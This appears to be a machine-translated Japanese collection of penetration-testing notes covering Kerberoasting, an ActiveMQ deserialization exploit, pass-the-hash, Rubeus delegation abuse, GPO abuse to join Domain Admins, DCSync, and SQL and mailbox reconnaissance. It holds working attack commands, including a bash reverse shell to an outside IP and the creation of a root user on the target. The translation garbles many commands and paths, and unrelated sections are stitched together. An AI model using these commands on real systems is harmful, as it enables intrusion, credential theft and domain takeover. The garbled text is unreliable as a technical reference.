rpbaxhmvn4r7316.png

krb_tgs_rep

TGS-クライアントSEND CIPHERTEXT 1(SESSIONKEY-AS AS AS AS AS AS ANS CESSIONKEY-TGS)

TGSがクライアントから送信されたTGTおよびSessionKey-Asの暗号化されたタイムスタンプを受け取った後、最初にクライアントが要求したサービスが存在するかどうかを確認します。サービスが存在する場合は、KRBTGTパスワードでTGTを復号化します。一般に、TGSはTGTのタイムスタンプをチェックして、TGTの有効期限が切れるかどうか、元のアドレスがTGTで保存されたアドレスと同じかどうかを確認します。検証が成功した後、SessionKey-ASで暗号化されたSessionKey-TGSとサーバーパスワードハッシュで暗号化されたSessionKey-TGSがクライアントに送信されます。

(3)theclient/server認証exchangekrb_ap_req

client -server sendeunitiescator3(sessionkey-tgs暗号化タイムスタンプ)とチケットST(サーバーパスワードハッシュ暗号化sessionkey-tgs)

クライアントは、暗号化されたSESSIONKEY-TGSおよびサーバーパスワードとしてSESSIONKEY-KEY-KEY-KEY-KEY-TGSを暗号化したHash-Key-Key-As SessionKey-Tgsを復号化し、SessionKey-TGSの暗号化されたタイムスタンプとSTを一緒にサーバーに送信します。

uekhvyznj527318.png

krb_ap_rep

サーバー - クライアント

サーバーは独自のパスワードを介してSTを復号化し、SessionKey-TGSを取得します。次に、SessionKey-TGSを使用してAuthenticator3を復号化してタイムスタンプを取得すると、検証が正しく、検証の成功に戻ります。

0x01ドメイン浸透SPN

1。 SPNの紹介

サービスプリンシパル名(SPN:ServicePrincipal名)は、サービスインスタンスの一意の識別子です(HTTP、MSSQLなどのサービスとして理解できます)。 Kerberos AuthenticationはSPNを使用して、サービスインスタンスをサービスログインアカウントに関連付けます。森林またはドメイン全体のコンピューターに複数のサービスインスタンスがインストールされている場合、各インスタンスには独自のSPNが必要です。クライアントが複数の名前で認証できる場合、特定のサービスインスタンスには複数のSPNを持つことができます。 SPNには常にサービスインスタンスを実行しているホストの名前が含まれているため、サービスインスタンスはホストの各名前またはエイリアスのSPNを登録できます。

Kerberosプロトコルを使用してサービスを認証する場合は、SPNを正しく構成する必要があります。

2.SPN形式と構成

SPN構文には4つの要素があり、2つの要素と2つの追加要素があり、合計は必要な要素です。

ServiceClass/host:port/service name

サービスクラス:文字列識別サービスクラス

ホスト:サービスが配置されているホストの名前

ポート:サービスポート

サービス名:サービス名

例:

SQL ServerサービスアカウントにSPNを登録します

手動登録:

setSpn -a mssqlsvc/myhost.redmond.microsoft.com:1433 accountname

対応する名前のインスタンス:

setSpn -a mssqlsvc/myhost.redmond.microsoft.com/instancename accountname

MSSQLサービスをドメインのホストであるSRV-DB-0dayでSPNに登録したい場合は、コマンドを使用できます。

setSpn -a mssqlsvc/srv-db-0day.oday.org33601433 sqladmin

次の2つのコマンドを使用して、登録されたSPNを表示できます。

setspn -q */*

setspn -t 0day.org -q */*

1566305048964

1566305093686

3.SPNスキャン

KerberosとSPNを理解した後、SPNを使用して必要な情報を取得できます。たとえば、ドメイン内のどのホストがインストールされているかを知りたい場合は、ネットワークポートのバッチをスキャンする必要はありません。通常、大規模なドメインには複数のサービス登録SPNがあるため、ドメイン内のサービスは「SPNスキャン」を通じて表示できます。通常のネットワークポートスキャンよりも利点は、サービスホストとの直接接続を必要とせず、より隠されていることです。

4.スカンツール

getuserspns

getUserSpnsは、ドメイン内の登録SPNSをクエリするように設定されたKerberoastツールのPowerShellスクリプトです。

import-module。\ getUserspns.ps1

1566310253643

powerView

PowerViewは、Will Schroeder(https://twitter.com/harmj0y)によって開発されたPowerShellスクリプトです。 PowerSploitおよびEmpire Toolsに統合されています。上記と比較して、PowerViewは異なるユーザーのObjectSIDに従って返され、返された情報の詳細がより詳細です。

Import-Module。\ PowerView.ps1

get -netuser -spn

1566311054973

5。原則の説明

スクリプトまたはコマンドを介してイントラネットに登録されているSPNコンテンツに直接アクセスできます。このプロセスの実装方法を理解したい場合は、LDAPプロトコルに言及する必要があります。

LDAPプロトコルのフルネームはLightDirectory Access Protocolであり、通常は軽量ディレクトリアクセスプロトコルに翻訳されています。これは、Active Directoryのクエリと更新に使用されるディレクトリサービス通信プロトコルです。 ADドメインサービスは、LDAPネーミングパスを使用して、AD内のオブジェクトの位置を表すため、AD内のオブジェクトにアクセスするために使用できます。

LDAPデータの編成方法:

img

より直感的には、LDAPプロトコルは、ドメイン内のホストのさまざまな構成情報を保存するリレーショナルデータベースとして理解できます。

ADSIエディターは、デフォルトでドメインコントロールにインストールされ、フルネームActiveDirectory Service Interfaces Editor(ADSI Edit)があります。これは、ドメインコントロールでADSIEDIT.MSCを実行することで開くことができるLDAPエディターです(サーバーで使用できますが、ドメイン全体に構成情報があるのはドメインコントロールのみです)。

1566312270376

adsiedit.mscを介して、LADPを変更および編集できます。 SPNクエリの場合、実際にはLADPに保存されているコンテンツをクエリしています。

たとえば、実験環境ドメイン0day.orgには、ユーザーSQLSVRを含むOU(管理、金融などの部門として理解できるOU(組織)があります。ユーザー属性からSQLSVRによって登録されているSPNコンテンツを見ることができます。

1566312646927

ホストで実行します

setspn -t 0day.org -q */*

コマンドがドメイン内のSPNをクエリすると、パケットをキャッチすることにより、SPNのコンテンツがLDAPプロトコルを介してドメインコントロールにインストールされたLDAPサービスにクエリされていることがわかります。

図に示すように、ディレクトリはホスト192.168.3.62で実行され、LDAPプロトコルのトラフィックはドメインコントロール192.168.3.142で見ることができます。

1566315225924

クエリの結果はトラフィックになります。

1566315297166

PowerShellスクリプトは、主にLDAPのコンテンツを照会し、返された結果をフィルタリングしてから表示することについてです。

6.KKERBEROSTING

Kerberosの認証プロセスを導入すると、KRB_TGS_REPでは、TGSがクライアントにチケットSTを返し、STはクライアントが要求したサーバーパスワードによって暗号化されると述べられています。 KerberosプロトコルがRC4暗号化のチケットを設定すると、クライアント側で取得したチケットSTを爆破してサーバー側のパスワードを取得できます。

次の図は、Kerberosの暗号化方法を示しています。ドメインのドメイン制御「ローカルセキュリティポリシー」に設定できます。

1566351683199

RC4暗号化を設定します。

1566351735173

設定が完了したら、実行中に「gpupdate」を入力してグループポリシーを更新すると、ポリシーが有効になります。

7. KKERBEROSTING ATTICT MEATH 1

1。SPNは、ホストPC-JackのKerberoastのgetUserSpns.vbsをスキャンします。

cscript getUserspns.vbs

1566365425645

2. Microsoftが提供するKerberosRequestorseCurityTokenを使用して、Kerberosリクエストを開始し、スキャンされた結果に基づいてSTチケットを申請します。

PS C: \ Add -Type -Assemblyname System.IdentityModel

PS C: \ new-Object System.IdentityModel.Tokens.kerberosRequestorseCurityToken -ArgumentList 'MSSQLSVC/SRV-WEB-KIT.ROOTKIT.ORG'

1566365452567

3. Kerberosプロトコルの要求されたチケットはメモリに保存されます。 Klistコマンドを介して現在のセッションに保存されているKerberosチケットを表示できます。

1566365516959

Mimikatzを使用してエクスポートします。

Kerberos:List /Export

1566365758402

KerberoastツールセットでTGSRepCrack.pyツールを使用して、オフラインブラストを実行し、Jerryアカウント管理者のパスワードを正常に取得します!@#45

python2 tgsrepack.py wordlist.txt '1-40a10000-jerry@mssqlsvc~srv-web-kit.rootkit.org-rootkit.org.kirbi'

1566366235728

8. Kkerberosting Attack Method Two

Kerberoasting Attack Methodには、Mimikatzを介した記憶から領収書の輸出が必要です。 Invoke-Kerberoastは、領収書の転送中に元のバイトを抽出し、それらをリッパーのジョンまたはハッシュカットによって直接爆破できる文字列に変換します。

invoke-kerberoastスクリプトを使用します(empireのinvoke-kerberoast.ps1を使用)。

Import-Module Invoke-kerberoast.ps1

invoke -kerberoast -outputformat hashcat | fl

-OutputFormatパラメーターは出力形式を指定でき、ジョン・ザ・リッパーとハッシュカットの2つの形式があります

1566368713159

2。ハッシュカットツールを使用してクラックします。

PSC: hashcat64.exe –M 13100 test1.txt password.list - force

1566369553181

9.Impacket kerberosting

ここでは、TCP、UDP、ICMP、IGMP、ARP、IPv4、IPv6、SMB、MSRPCへの低レベルのプログラミングアクセスを実行するために使用されるImpack Toolkitを使用します。ここでは、このツールを使用してターゲットホストでSPN検出を実行できるGetUSERSPNSツールを使用しています。

https://github.com/secureauthcorp/impacket公式リポジトリ3https://github.com/maaaaz/im

0x00脆弱性はじめに

Apache ActiveMQは、米国のApache Software Foundationが開発したオープンソースメッセージングミドルウェアのセットです。 Javaメッセージサービス、クラスター、スプリングフレームワークなどをサポートしています。ApacheActiveMQ5.13.0の前に、バージョン5.xの前にセキュリティの脆弱性がありました。リモート攻撃者は、特別に作成されたシリアル化されたJavaメッセージサービス(JMS)ObjectMessageオブジェクトを使用して、任意のコードを実行できます。

0x01脆弱性環境

1。ubuntu16.04の下にdocker/docker-compose:をインストールします

#PIPをインストールします

curl -s https://bootstrap.pypa.io/get-pip.py | Python3

#dockerの最新バージョンをインストールします

curl -s https://get.docker.com/| sh

#Dockerサービスを開始します

Service Docker Start

#composeをインストールします

PIPインストールDocker-Compose

#プロジェクトをダウンロードします

wget https://github.com/vulhub/vulhub/archive/master.zip -o vulhub-master.zip

unzip vulhub-master.zip

CD Vulhub-Master

#特定の脆弱性/環境のディレクトリを入力します

CD Activemq/CVE-2015-5254/

#automatedコンピレーション環境

Docker-Composeビルド

jhj3fukkgtr8650.jpg

2。脆弱性環境を実行:

docker -compose up -d

環境が実行された後、2つのポート61616と8161が聴き、61616は作業ポートであり、このポートでメッセージが渡されます。 8161はネットワーク管理ページポートであり、http://Your-IP:8161にアクセスしてネットワーク管理ページを見ることができますが、理論的には、この脆弱性はネットワークを必要としません。

ブラウザを使用してActiveMQに直接アクセスして、展開が完了しているかどうかを確認します

http://45.32.101.90:8161/admin/(デフォルトのユーザー名/パスワードはadmin/admin)

ljlozame5np8651.jpg

0x02脆弱性の再発

1。脆弱性の搾取プロセスは次のとおりです。

a。 construct(ysoserialを使用できます)実行可能コマンドのシリアル化されたオブジェクト

b。メッセージとして、ターゲットポート61616に送信します

c。アクセスされたWeb管理ページ、メッセージの読み取り、トリガーの脆弱性

2. Exploitation :にJMETを使用します

最初にJMET JARファイルをダウンロードし、同じディレクトリに外部フォルダーを作成します(それ以外の場合、フォルダーが存在しないエラーが爆発する場合があります)。 JMETの原則は、Ysoserialを使用してペイロードを生成して送信することです(瓶にYsoserialが付属しているため、ローマなどのYsoserialガジェットで使用できるものを選択する必要があります。

CD /OPT

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

MKDIR外部

3。コマンドを実行します

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'touch /tmp /sucess' -yp Rome 45.32.101.90 61616

fz1puf33kpx8652.jpg

4。現時点では、ターゲットActiveMQに名前付きイベントというキューが追加されます。 http://45.32.101.903:8161/admin/browse.jsp?jmsdestination=event:beansed from http://45.32.101.903:8161からすべてのメッセージが表示されます。

t0gfl2yp50z8653.jpg

5.クリックしてこのメッセージを表示して、コマンドの実行をトリガーします

n5i0b43ajos8654.jpg

6.この時点でコンテナを入力します

docker exec -it cc0e9385f975 /bin /bash

fetkrrwuw2l8655.jpg

7./TMP /が正常に作成されていることがわかります。これは、搾取が成功していることを示しています。

zbaliwgexai8656.jpg

8.Bounce Shell:

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'bash -i /dev/tcp/45.32.101.90/123401' -Yp Rome45.32.101.90 61616

3ur34wwqf2e8657.jpg

リモートホストはポート1234に耳を傾けます。

NC -LVVP 1234

リバウンドがshell:であることがわかります

kstq35odu0q8658.jpg

ネットワーク管理ページを介してメッセージにアクセスし、脆弱性をトリガーするには管理者の権限が必要であることは注目に値します。パスワードがなければ、管理者にリンクにトリガーへのリンクにアクセスするように誘導したり、他の正当なサービスに必要なメッセージとして偽装したり、クライアントにアクセスできるようにすることができます。

9.ユーザーを追加します

JMEMコマンドを実行してテストユーザーを追加してルートグループに追加し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーを使用します。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'useradd -g root -s /bin /bash -u 10010 test' -yp rome 45.32.101.90 61616

ルートの権限があるように、PassWDのテストのUIDを0に変更して、http://192.168.221.1853:8161/admin/browse.jsp?jmsdestination=eventページ、メッセージをクリックしてトリガーに戻ります。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'sed -i' s/test:x3:10010/etc/etc/etc/passwd '-yp rome 45.32.101.90 616166

テストユーザーのパスワードを設定し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーします。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'echo' test:SD123456 '| Chpasswd '-yp Rome 45.32.101.90 61616

この時点まで、ルートとパスワード123456の権限を持つユーザーが作成されました。 SSHを使用して、オペレーティングシステムに直接リモートでログインできますが、それでも最高の権限があります。

qsnhwm3ticb8659.jpg

0x03参照リンク

https://www.blackhat.com/docs/us-16/materials/us-16-kaiser-pwning-your-java-messaging-with-deserialization-vulnerabilities.pdf

始めたばかりの

ポストセットの知識

友人は、この本をJDまたはTaobaoで購入できます。

Windows Server 2012 R2システム構成ガイド_ Dai YouWeiがコンパイルした記事は、https://github.com/cfalta/adsecから採用されています。

環境構造

https://github.com/cfalta/adsec/tree/main/lab-setup

DC-Windows 2019ユーザーJack-Windows 2019SQLServer-Windows 2019

ドメイン制御を構成

新しいネットワークカードが追加されました。 3つの仮想マシンは、このネットワークカード設定を使用してIPを指定します。仮想マシンを直接コピーします。 MACアドレスとSIDを変更する必要がある場合は、SIDを変更する必要もあります。組み込みのツールSysprepまたは別のNewsIDツールhttps://NewsID.Softag.com/DownLoadを使用して、3つのマシンで管理者の特権を使用して次のコマンドを実行できます。图像.png 图像.png 图像.png 图像.png 图像.png

ファイアウォールを閉じますset-netfirewallprofile -profileドメイン、パブリック、プライベート対応の誤った閉じるウィンドウディフェンダーuninstall-windows-feature-name-defenderダウンロードオートメーションスクリプトアシストインストール

https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts

createdomainスクリプトを実行し、ドメイン名を自分で変更します。

これは1つのステップで行うべきではありません

最初に実行します

インストール-WindowsFeature -Name Ad -Domain -Services -IncludeManagementToolsは再起動後も実行を続けます。再起動後、このファイル関数の実行は、JSONファイルに基づいてユーザーとグループを自動的に追加することです。图像.png 图像.png 图像.png 图像.png 图像.png 图像.png

ドメインコンピューターを構成

2つのメンバーマシンで次の2つのドメインアカウントに登録

ジョン・ドイ・ジョンP@ssw0rdブルース・リーの血まみれの鉄の拳は素晴らしいです!

user1は、blee 图像.pngでログインしたJohn Certified user2マシンです

攻撃機の準備

Johnを使用してUser1マシンにログインし、ポイントとして使用してから、ネットワークカードを割り当ててネットワークを外します。

デフォルトのツールキットのダウンロードアドレス

https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools

ハンターのインストールと構成

Google IT

情報収集

パワーモジュールをインポートします

CD C: \ a Ttacker-Tools

cat -raw '。\ powerView.ps1' |スイッチは、現在のドメインの基本情報とドメイン制御の位置を取得します

ドメインを取得します

ドメインコントローラー图像.pngを取得します

ドメイン内のコンピューターとユーザーの数を確認してください

ドメインコンピューターを取得します

ドメインユーザーフィルターアウトドメインパイプを取得します

ドメインユーザーを取得| ? {$ _ .MEMBEROF -LIKE ' * DOMAIN ADMIN *'}

ドメインユーザーを取得| ? {$ _ .MEMBEROF -LIKE ' * DOMAIN ADMIN *'} |同じアカウント名を選択します

图像.png 图像.png

クラスの演習後

リファレンス回答最後のものを選択します

ドメインにはいくつのコンピューターがあり、それらは何を実行していますか?ドメインには何人のユーザーがいますか?同じユーザー名、表示名、説明、および最後のパスワード変更の時間のみを使用して、すべての属性クエリステートメントを実行および提示してユーザーに表示します。どのカスタム管理者グループを特定できますか?上記のPowerShellを一般的に変更すると、カスタム管理グループを返すことができます。対応する管理者グループメンバーを見つけます。これらのユーザーが最後のパスワードを設定したのはいつですか?ドメイン内のサービスアカウントをすばやく識別する方法はありますか?すべての簡単なサービスアカウントのPowerShellクエリを書きます。

ntlm

の使用

PSEXECを模倣するには、管理者の許可が必要で、ローカル管理者ユーザーとログインします

特権:デバッグ

トークン:プロモーション

LSADUMP:SAMは、管理者のハッシュを取得しました

7DFA0531D73101CA080C7379A9BFF1C7PTH攻撃图像.png

sekurlsa:pth /user3360administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab

图像.png

psexec.exe \\ user2 CMD 图像.png

クラスの演習後

Mimikatzが「特権:3360Debug」と「token:Elevate」を実行する目的は何ですか?なぜそれらを実行する必要があるのですか? Bruce Lee 1としてログインします。上記のユーザーの知識を使用してください。ジョンは、ブルース・リーのNTLMハッシュをメモリから支援するリモートで抽出します。 PTHの問題を解決する方法、理由を明確に説明してください。 (おそらく)NTLMではないことは可能ですか?あなたの理由を説明してください。

Kerberos-Baking

プレビューマテリアルネットワーク——AS-REPロースト

プラグインの読み込み

CD C: \ a Ttacker-Tools

生まれた猫。 \ PowerView.ps1 |スイッチ

生まれた猫。 \ i nvoke-rubeus.ps1 |クエリSPNを切り替えて、サービスユーザーを取得します

ドメインユーザー-SPNを取得| SamaccountName、description、pwdlastset、serviceprincipalnameを選択します

图像.png

Rubeusには、Kerberosの統計データがあります

Invoke -rubeus -command 'kerberoast /stats'ターゲットアカウントのTGSを取得

Invoke-rubeus -command 'kerberoast /user:taskservice /format3:hashcat /outfile:krb5tgs.txt'ここでスクリプトは、base64 图像.pngの後にパワーシェルメモリを介してロードされます。

function call-rubeus([string] $ command)

{

$ message='base64';

$ Assembly=[System.Reflection.Assembly] :3360load([Convert] :Frombase64String($ message))

[rubeus.program] :3360main($ command .split( ''))

}

图像.png

CRACKED TGS。 \ j ohn.exe . \。 \ k rb5tgs.txt -wordlist=. \。 \ e xample.dict - rules=passphrase-rule2 图像.png

クラスの演習後

あなたが最良の緩和手法であると思うものを説明し、その理由を説明してください。 ASREPの影響を受ける別のユーザーがいます。それを見つけてください。 TGS対ASREPベーキングを説明します

Kerberos(委任)

JSONのデータが以前に設定されたとき、JSONのデータはドメインが委任されたユーザー图像.pngに変更されずに変更されました

get -domainuser-信頼された委任ターゲット

get -domainuser -trustedtoauth | -expandproperty msds-allowedtodelegateto 图像.pngを選択します

この攻撃を実行する条件は、ユーザーのパスワードを知ることです。

ハッシュを生成します

Invoke -rubeus -command 'hash /password:amsterdam2015 /domain3360wing.lab /user:service1'

图像.png

Rubeusを使用すると、PowerShellを新しいログインセッションで開始できます。今回のチケットセッションでのみ、ユーザーのジョンのカーボアーズチケットを妨害しません。 S4Uを使用して、TGSシミュレーションドメイン管理ユーザーBruce(Bwillis))を要求してユーザー1を攻撃します。さまざまなサービスの3つのチケットをリクエストしますCIFはSMBアクセスホスト/RPCS ForWMI 图像.pngに使用されます

call -ruber -command "s4u/user:service 1/aes256:be09389d798b17683b105ff6432ba4fd4785da5a08bfd3f39328a6525433e073/infersonateuser/ptt "

call -ruber -command "s4u /user:service 1 /aes256:be09389d798b17683b105ff6432ba4fd4785da5a08bfd3f39328a6525433e073 /infersonateuser /ptt "

call -ruber -command” s4u/user:service 1/aes256:be09389d798b17683b105ff6432ba4fd4785da5a08bfd3f39328a6525433e073/Imprisateuser:bwillisiser /msdsspn:rpcss/user1.wing.lab /ptt "

图像.png

自分の前でチェックレポートを確認してください

私はそれを間違って設定します、代表団のターゲットはuser2、user1に設定する必要がありますが、それはすべて同じです。图像.png

ls \\ user1.wing.lab \ c $ control user1を介してcontrol user1

get -wmiobject -class win32_process -computername adsec -01.contoso.com

クラスの演習後

上記の操作では、SMBおよびWMIを介してサーバーユーザーから読み取り権限を取得しました。これで、これら2つのプロトコルを介して実行されます。目標は、次のコマンドを実行して、ユーザーJohnをローカルマネジメントグループパイロットモックドメイン管理者ユーザーChuck Norrisに追加することです。

acl攻撃

情報コレクション

生まれた猫。 \ s harpound.ps1 | Switch Invoke -BloodHound -CollectionMethod DConly -Stealth -PrettyJSon -NosaveCacheCollectionMethod DCは、ドメインコントロールからのみデータを収集することのみを意味します。 OPSECの観点から見ると、トラフィックが正常であるため、これは優れています。ステルスシングルスレッドが始まります。ゆっくりですが、安全です。 PrettyJSONフォーマット.JSONファイル。 nosavecacheは、保存されたファイルを保存しません。

Blood Dogを開始するNEO4J3https://NEO4J.com/download-center/#releases 图像.pngのコミュニティバージョンをダウンロード

JDK11

./NEO4J START 图像.png

最初のマークService1は、ここをクリックしてここをクリックしてドメインコントロールグループポリシーにアクセスしてください。グループポリシーの利用を通じて、Attack DCはService1 First 图像.png 图像.png 图像.pngとしてログインする必要があります

runas /user:wing.lab \ s ervice1 powershell。 \ s harpgpoabuse.exe -addcomputertAsk - taskname 'update' - author contoso \ a dminuser - command 'cmd.exe' - arguments ' /c netグループ\'ドメインアドミン\ 'john /add' - gponame "defaul controller" - forcecece

图像.png 图像.png

執筆後、グループポリシーが更新されたときに管理者をトリガーすることが可能になります。

手作り。許可はアップグレードされ、ドメインコントロールに正常にログインしました。图像.png 图像.png 图像.png

クラスの演習後

ACL攻撃の搾取ツールは何ですか?

許可メンテナンス

許可を維持することはたくさんあります

金と銀のノートブックバックドアなど。

一般に、DC許可は最初に実行されます

lsadump3:dcsync /user:krbtgtすべてのユーザーハッシュを受信することも、バックドアとして使用できます。

クラスの演習後

自己学習これらの許可維持方法の原則。

参照回答

私はそれを非常にうまくやった。エラーがある場合は、メッセージを残してください。

情報収集

PowerView3.0のヒント

https://gist.github.com/harmj0y/184f9822b195c52dd50c379ed3117993

ドメインにはいくつのコンピューターがあり、それらは何を実行していますか?图像.png

ドメインには何人のユーザーがいますか?同じユーザー名、表示名、説明、および最後のパスワード変更の時間のみを使用して、すべての属性クエリステートメントを実行および提示してユーザーに表示します。图像.png

どのカスタム管理者グループを特定できますか?上記のPowerShellを一般的に変更すると、カスタム管理グループを返すことができます。 get -domaingroupMember-アイデンティティ「ドメイン管理者」-Recurse 图像.png

対応する管理者グループメンバーを見つけます。これらのユーザーが最後のパスワードを設定したのはいつですか?图像.png

ドメイン内のサービスアカウントをすばやく識別する方法はありますか?すべての簡単なサービスアカウントのPowerShellクエリを書きます。ドメインユーザー-SPNを取得|選択します

情報収集

一般的に使用されるコマンドネット使用

ネットビュー

タスクリスト /v

ipconfig /all

ネットグループ /ドメインすべてのドメインユーザーグループのリストを取得する

ネットグループ「ドメイン管理者」 /ドメインドメイン管理者のリストを取得する

ネットグループ「エンタープライズ管理者」 /ドメインエンタープライズ管理者のリストを取得する

ネットローカルグループ管理者/ドメインドメイン内蔵管理者グループユーザー(エンタープライズ管理者、ドメイン管理者)を取得します

ネットグループ「ドメインコントローラー」 /ドメインドメインコントローラーのリストを取得する

ネットグループ「ドメインコンピューター」 /ドメインすべてのドメインメンバーコンピューターのリストを取得する

ネットユーザー /ドメインすべてのドメインユーザーのリストを取得する

ネットユーザーSomeUser /Domain指定されたアカウントのsomeUserに関する詳細情報を取得する

ネットアカウント /ドメインドメインパスワードのポリシー設定、パスワードの長さ、エラーロック、その他の情報を取得する

nltest /domain_trusts Get domain Trust Information SPN SCAN SETSPN -T TARGET.COM -Q */*

現在のホストのDNSがIN -DNSである場合、DNSを照会してロケーションドメインコントロールを記録できます。

nslookup -type=all _ldap._tcp.dc._msdcs.rootkit.org

ipconfig /all

ポート:88,389,53ドメインチューブログインマシンPowerPick Find -DomainUserLocation -Useridentity Administrator #Viewユーザーロケーション

get-userevent

PowerPick Invoke-EventHunter #View Log

データ収集

:0101010#リスト共有

ネットシェア

#ネットワークコンピューターをリストします

ネットビュー

#リモートPCの共有をリストします

ネットビューComputer_name /すべての#リスト共有ローカルホスト

wmic share get /format:list

#リモートPCの共有をリストします

wmic /node: computer_name shareドメイン#内のファイルに関連するコンピューター名を検索する#すべてのドメインコンピューターをリストし、名前の「ファイル」ですべてのコンピューターをフィルタリングします

ネットグループ「ドメインコンピューター」 /ドメイン| findstr 'file'powerView

チートシートフィンドドメインシェア

get-domainfileserver

基本情報

データベース情報

https://blog.netspi.com/finding-sensitive-data-domain-servers-using-powerupsql/

情報コレクション#すべてのローカルSQLインスタンス:を見つけます

get -sqlinstancelocal -verbose

#ドメイン/Network:ですべてのSQLインスタンスを見つけます

get -sqlinstancedomain -verbose

get -sqlinstanceBroadcast -verbose

get-sqlinstancescanudp -verbose image.png

詳細を取得#ローカルSQLインスタンスに関する基本情報を列挙する

get-sqlinstancelocal | get-sqlserverinfo

#リモートSQLインスタンスに関する基本情報を列挙します

get-sqlserverinfo -instance 'srv-web-kit.rootkit.org'use!現在のユーザーがログインできるインスタンスをリストします

get-sqlinstancedomain –verbose | get-sqlconnectionTestThreaded - verbose - threads 10

インスタンスの管理者権限を取得してみてください

Invoke -sqlescalatepriv -verbose -instance 'computer_name'

デフォルトのパスワードを使用した列挙

get -sqlinstancedomain -verbose | get -sqlserverlogindefaultpw -verbose

データベース情報をダンプします

Invoke -sqldumpinfo -verbose -instance 'computer_name'

自動監査を使用します

Invoke -sqlaudit -verbose -instance 'computer_name'

機密情報

Import-Module PowerUpSql.psd1

$ servers=get-sqlinstancedomain –verbose | get -sqlconnectionTestThreaded –verbose -threads 10

$ accessible=$ servers | where-object {$ _。status –eq "アクセス可能"}

$アクセス可能| get -sqlcolumnsampledatathaTheded - verbose - threads 10 - keyword「カード、パスワード」 - サンプリング2 –validatecc -nodefaults | ft -autosize

----

get-sqlcolumnsampledata - verbose –keyword「カード、パスワード」 - サンプリング2 –validatecc –nodefaults –instance 'server1 \ instance1'

コバルトストライクのsqlclient(横方向の動きでも使用)

github image

powerupsql

のsqlclient#powerview:を使用して特定のユーザーがログインしている場所を見つけます

find -domainuserlocation -useridentity user_name

#PowerView3360を使用してユーザーのグループがログインしている場所を見つけます

find -domainuserlocation -usergroupidentity group_name

または、Sharppsniperを使用すると、管理者パスワードが必要です

$ secpassword=convertto secureString 'password123!' -asplaintext -force

$ cred=new-object System.management.automation.pscredential( 'testlab \ dfm.a'、$ secpassword)

get -domainusevent -computername primary.testlab.local -credential $ cred -maxevents 1000

ターゲティングユーザー

https://github.com/daftack/mailsniper

ユーザーのパスワードがある場合は、彼の受信トレイを表示できます

#ターゲットエクスチェンジサーバーをautodiscoverし、ユーザー@example.comのメールボックスを検索します

Invoke -selfsearch -OutputCSV local -results.csv -mailbox user@example.com

#リモート交換サーバー(この場合はオンラインで交換)を指定し、user@example.comのメールボックスを検索します

invoke -selfsearch -remote -exchhostname Outlook.Office365.com -OutputCSV local-results.csv -mailbox user@example.com

mailsniper

http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/

userhunting

https://github.com/hausec/adape-script

PowerShell.exe -ExecutionPolicy Bypass ./adape.ps1 PS:このスクリプトは、血液犬に似た非常に大きなアクションを持ち、大規模なリクエストがあります。すべてのモジュールはGitHubからダウンロードし、管理者の権限が必要です。オフラインの浸透と承認テスト中の使用に適しています。等。主に次の脆弱性:をスキャンします

•WPAD、LLMNR、NBT-NSスプーフィングを介してハッシュを収集します

•MS14-025

•Kerberoastを介してアカウントを収集するためのハッシュ

•BloodHoundを介してターゲットを特定します

•テストのリリース

•ネットワーク上のオープンSMB共有を検索します

•SMB共有で敏感な文字列を検索します

•ネットワーク上のシステムパッチを確認します

•ファイルサーバーを検索します

•添付ファイルを検索します

•収集のためのドメイン戦略のワンクリックスキャン

set -executionpolicy bypass ./adape.ps1 -allまたは指定されたモジュール

./adape.ps1 -gpp -pview -kerberoast

ドメインの脆弱性スキャン

。\ standin.exe - spn

SPNスキャン

https://github.com/ropnop/kerbrute/releases/tag/v1.0.3

最初にユーザー名を破裂させますが、通常は直接確認できます

./kerbrute_darwin_amd64 userenum -d rootkit.org users.txt収集されたパスワードを取得してバッチでバーストします。ドメイン内のパスワードは、強力で弱いパスワードを見つけて、より多くの情報収集を行うことができます。

Import-Module。\ Sharphound.ps1

InvokeBloodhound -verbose -domain 'domain.local' -domaincontroller 'dc01.domain.local' -ldapuser 'targetuser' -ldappass 'targetpass' -collectionmethodすべての最高のクエリPractices3https://github.com/hausec/bloodhound-custom-queries/blob/master/customqueries.json3https://github.com/integration-it/active-directory-exploite-cheat-cheet/master/f%20-20bloodhound

コレクターなしでブラッドハウンドを使用する(ldapsearchのもの)

Linux環境でBloodhoundの使用

ドメインでのブラスト

優先度1:Rubeusリクエスト、ハッシュカットブラスト。\ rubeus.exe kerberoast

Hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt ---forceスキャンSPNサービス3https://github.com/nidem/kerberoast/blob/master/getuserspns.ps1

setspn -t 0day.org -q */*

または

getUserSpns.pyクライアントはサーバー側を要求し、STチケットadd -Type -AssemblyName System.IdentityModelを取得するために爆発します

new-Object System.IdentityModel.Tokens.kerberosRequestorseCurityToken -ArgumentList 'MSSQLSVC/SRV-WEB-KIT.ROOTKIT.ORG' Export TicketKerberos3360:LIST/EXPORT KERBEROS33https://GITHUB.com

または、Invoke-kerberoast.ps1import-module。\ invoke-kerberoast.ps1を使用します

Invoke-kerberoastはすべての情報image.pngを返します。

invoke -kerberoast -admincount -outputformat hashcat | flhashcat crack

Hashcat -M 13100 /tmp/hash.txt /tmp/password.list -o found.txt ---force

BloodHoundの使用

spnスキャンkerberosting

ソース:https://github.com/uknowsec/active-directory-pentest-notes/blob/master/notes/%E5%9f%9f%E6%B8%97%E9%80%8F-MS14-068.md

MS14-068の対応するパッチはKB3011780です。このパッチがドメインコントロール上のSystemInfoを介してインストールされているかどうかを確認できます。 Pykekツールは脆弱性を悪用します

MS14-068.exe

MS14-068.EXE -U SQLADMIN@0DAY.ORG -P ADMIN!@#45 -S S-1-5-21-1812960810-23355050734-3517558888888888888888888888805-1142 -D OWA2010SP3.0DAY.ORG

-uドメインアカウント+@+ドメイン名、Jerry+@+Rootkit.orgです

